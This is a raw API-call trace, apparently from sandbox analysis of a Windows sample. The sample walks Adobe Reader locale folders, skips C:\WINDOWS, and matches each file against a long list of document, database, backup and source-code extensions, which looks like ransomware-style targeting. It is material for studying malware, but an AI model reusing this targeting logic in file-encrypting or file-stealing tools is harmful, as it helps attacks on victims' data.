lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".hpp") returned 4 [0261.683] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".hta") returned 4 [0261.683] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".htc") returned 4 [0261.683] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".htm") returned 4 [0261.683] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".html") returned 5 [0261.684] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.684] lstrlenW (lpString=".icb") returned 4 [0261.684] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".ics") returned 4 [0261.684] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".iff") returned 4 [0261.684] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".inc") returned 4 [0261.684] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".indd") returned 5 [0261.684] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.684] lstrlenW (lpString=".ini") returned 4 [0261.684] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".iqy") returned 4 [0261.684] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".j2c") returned 4 [0261.684] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".j2k") returned 4 [0261.684] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".java") returned 5 [0261.684] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.684] lstrlenW (lpString=".jp2") returned 4 [0261.684] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".jpc") returned 4 [0261.684] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".jpe") returned 4 [0261.684] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.684] lstrlenW (lpString=".jpeg") returned 5 [0261.684] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.684] lstrlenW (lpString=".jpf") returned 4 [0261.684] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.685] lstrlenW (lpString=".jpg") returned 4 [0261.685] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.685] lstrlenW (lpString=".jpx") returned 4 [0261.685] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.685] lstrlenW (lpString=".js") returned 3 [0261.685] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.685] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.685] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0261.685] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.685] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0261.685] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 105 [0261.685] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 1 [0261.685] lstrlenW (lpString="cs-cz") returned 5 [0261.685] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-cz") returned -1 [0261.685] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.685] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 105 [0261.685] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0261.686] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.686] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.686] lstrlenW (lpString="ui-strings.js") returned 13 [0261.686] lstrlenW (lpString=".1cd") returned 4 [0261.686] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.686] lstrlenW (lpString=".3ds") returned 4 [0261.686] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.686] lstrlenW (lpString=".3fr") returned 4 [0261.686] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.686] lstrlenW (lpString=".3g2") returned 4 [0261.686] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.686] lstrlenW (lpString=".3gp") returned 4 [0261.686] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.686] lstrlenW (lpString=".7z") returned 3 [0261.686] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.686] lstrlenW (lpString=".accda") returned 6 [0261.686] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.686] lstrlenW (lpString=".accdb") returned 6 [0261.686] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.686] lstrlenW (lpString=".accdc") returned 6 [0261.686] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.686] lstrlenW (lpString=".accde") returned 6 [0261.686] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.686] lstrlenW (lpString=".accdt") returned 6 [0261.686] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.686] lstrlenW (lpString=".accdw") returned 6 [0261.687] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.687] lstrlenW (lpString=".adb") returned 4 [0261.687] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.687] lstrlenW (lpString=".adp") returned 4 [0261.687] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.687] lstrlenW (lpString=".ai") returned 3 [0261.687] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.687] lstrlenW (lpString=".ai3") returned 4 [0261.687] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.687] lstrlenW (lpString=".ai4") returned 4 [0261.687] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.928] lstrlenW (lpString=".ai5") returned 4 [0261.928] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.928] lstrlenW (lpString=".ai6") returned 4 [0261.928] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.928] lstrlenW (lpString=".ai7") returned 4 [0261.928] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.928] lstrlenW (lpString=".ai8") returned 4 [0261.928] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.928] lstrlenW (lpString=".anim") returned 5 [0261.928] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.928] lstrlenW (lpString=".arw") returned 4 [0261.929] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".as") returned 3 [0261.929] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.929] lstrlenW (lpString=".asa") returned 4 [0261.929] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".asc") returned 4 [0261.929] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".ascx") returned 5 [0261.929] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.929] lstrlenW (lpString=".asm") returned 4 [0261.929] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".asmx") returned 5 [0261.929] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.929] lstrlenW (lpString=".asp") returned 4 [0261.929] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".aspx") returned 5 [0261.929] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.929] lstrlenW (lpString=".asr") returned 4 [0261.929] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".asx") returned 4 [0261.929] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".avi") returned 4 [0261.929] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.929] lstrlenW (lpString=".avs") returned 4 [0261.930] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.930] lstrlenW (lpString=".backup") returned 7 [0261.930] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.930] lstrlenW (lpString=".bak") returned 4 [0261.930] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.930] lstrlenW (lpString=".bay") returned 4 [0261.930] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.930] lstrlenW (lpString=".bd") returned 3 [0261.930] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.930] lstrlenW (lpString=".bin") returned 4 [0261.930] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.930] lstrlenW (lpString=".bmp") returned 4 [0261.930] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.930] lstrlenW (lpString=".bz2") returned 4 [0261.930] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.930] lstrlenW (lpString=".c") returned 2 [0261.930] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.931] lstrlenW (lpString=".cdr") returned 4 [0261.931] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".cer") returned 4 [0261.931] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".cf") returned 3 [0261.931] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.931] lstrlenW (lpString=".cfc") returned 4 [0261.931] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".cfm") returned 4 [0261.931] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".cfml") returned 5 [0261.931] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.931] lstrlenW (lpString=".cfu") returned 4 [0261.931] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".chm") returned 4 [0261.931] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".cin") returned 4 [0261.931] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".class") returned 6 [0261.931] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.931] lstrlenW (lpString=".clx") returned 4 [0261.931] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.931] lstrlenW (lpString=".config") returned 7 [0261.932] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.932] lstrlenW (lpString=".cpp") returned 4 [0261.932] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".cr2") returned 4 [0261.932] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".crt") returned 4 [0261.932] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".crw") returned 4 [0261.932] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".cs") returned 3 [0261.932] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.932] lstrlenW (lpString=".css") returned 4 [0261.932] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".csv") returned 4 [0261.932] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".cub") returned 4 [0261.932] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".dae") returned 4 [0261.932] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.932] lstrlenW (lpString=".dat") returned 4 [0261.932] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".db") returned 3 [0261.933] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.933] lstrlenW (lpString=".dbf") returned 4 [0261.933] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dbx") returned 4 [0261.933] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dc3") returned 4 [0261.933] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dcm") returned 4 [0261.933] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dcr") returned 4 [0261.933] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".der") returned 4 [0261.933] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dib") returned 4 [0261.933] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dic") returned 4 [0261.933] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".dif") returned 4 [0261.933] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.933] lstrlenW (lpString=".divx") returned 5 [0261.933] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.933] lstrlenW (lpString=".djvu") returned 5 [0261.934] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.934] lstrlenW (lpString=".dng") returned 4 [0261.934] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.934] lstrlenW (lpString=".doc") returned 4 [0261.934] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.934] lstrlenW (lpString=".docm") returned 5 [0261.934] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.934] lstrlenW (lpString=".docx") returned 5 [0261.934] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.934] lstrlenW (lpString=".dot") returned 4 [0261.934] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.934] lstrlenW (lpString=".dotm") returned 5 [0261.934] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.934] lstrlenW (lpString=".dotx") returned 5 [0261.934] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.934] lstrlenW (lpString=".dpx") returned 4 [0261.934] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.934] lstrlenW (lpString=".dqy") returned 4 [0261.934] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.934] lstrlenW (lpString=".dsn") returned 4 [0261.934] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.934] lstrlenW (lpString=".dt") returned 3 [0261.935] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.935] lstrlenW (lpString=".dtd") returned 4 [0261.935] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.935] lstrlenW (lpString=".dwg") returned 4 [0261.935] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.935] lstrlenW (lpString=".dwt") returned 4 [0261.935] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.935] lstrlenW (lpString=".dx") returned 3 [0261.935] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.935] lstrlenW (lpString=".dxf") returned 4 [0261.935] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.935] lstrlenW (lpString=".edml") returned 5 [0261.936] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.936] lstrlenW (lpString=".efd") returned 4 [0261.936] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.936] lstrlenW (lpString=".elf") returned 4 [0261.936] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.936] lstrlenW (lpString=".emf") returned 4 [0261.936] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.936] lstrlenW (lpString=".emz") returned 4 [0261.936] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.936] lstrlenW (lpString=".epf") returned 4 [0261.936] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.936] lstrlenW (lpString=".eps") returned 4 [0261.936] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.936] lstrlenW (lpString=".epsf") returned 5 [0261.936] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.936] lstrlenW (lpString=".epsp") returned 5 [0261.936] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.937] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.937] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0261.937] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.937] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0261.937] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.937] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0261.937] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.938] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.938] lstrlenW (lpString="ui-strings.js") returned 13 [0261.938] lstrlenW (lpString=".1cd") returned 4 [0261.938] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.938] lstrlenW (lpString=".3ds") returned 4 [0261.938] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.938] lstrlenW (lpString=".3fr") returned 4 [0261.938] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.938] lstrlenW (lpString=".3g2") returned 4 [0261.938] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.938] lstrlenW (lpString=".3gp") returned 4 [0261.938] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.938] lstrlenW (lpString=".7z") returned 3 [0261.938] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.939] lstrlenW (lpString=".accda") returned 6 [0261.939] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.939] lstrlenW (lpString=".accdb") returned 6 [0261.939] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.939] lstrlenW (lpString=".accdc") returned 6 [0261.939] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.939] lstrlenW (lpString=".accde") returned 6 [0261.939] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.939] lstrlenW (lpString=".accdt") returned 6 [0261.939] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.939] lstrlenW (lpString=".accdw") returned 6 [0261.939] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.939] lstrlenW (lpString=".adb") returned 4 [0261.939] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.939] lstrlenW (lpString=".adp") returned 4 [0261.939] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.939] lstrlenW (lpString=".ai") returned 3 [0261.939] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.939] lstrlenW (lpString=".ai3") returned 4 [0261.940] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".ai4") returned 4 [0261.940] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".ai5") returned 4 [0261.940] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".ai6") returned 4 [0261.940] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".ai7") returned 4 [0261.940] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".ai8") returned 4 [0261.940] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".anim") returned 5 [0261.940] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.940] lstrlenW (lpString=".arw") returned 4 [0261.940] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.940] lstrlenW (lpString=".as") returned 3 [0261.940] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.940] lstrlenW (lpString=".asa") returned 4 [0261.941] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".asc") returned 4 [0261.941] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".ascx") returned 5 [0261.941] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.941] lstrlenW (lpString=".asm") returned 4 [0261.941] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".asmx") returned 5 [0261.941] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.941] lstrlenW (lpString=".asp") returned 4 [0261.941] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".aspx") returned 5 [0261.941] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.941] lstrlenW (lpString=".asr") returned 4 [0261.941] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".asx") returned 4 [0261.941] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".avi") returned 4 [0261.941] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".avs") returned 4 [0261.941] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.941] lstrlenW (lpString=".backup") returned 7 [0261.942] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.942] lstrlenW (lpString=".bak") returned 4 [0261.942] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.942] lstrlenW (lpString=".bay") returned 4 [0261.942] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.942] lstrlenW (lpString=".bd") returned 3 [0261.942] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.942] lstrlenW (lpString=".bin") returned 4 [0261.942] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.942] lstrlenW (lpString=".bmp") returned 4 [0261.942] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.942] lstrlenW (lpString=".bz2") returned 4 [0261.942] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.942] 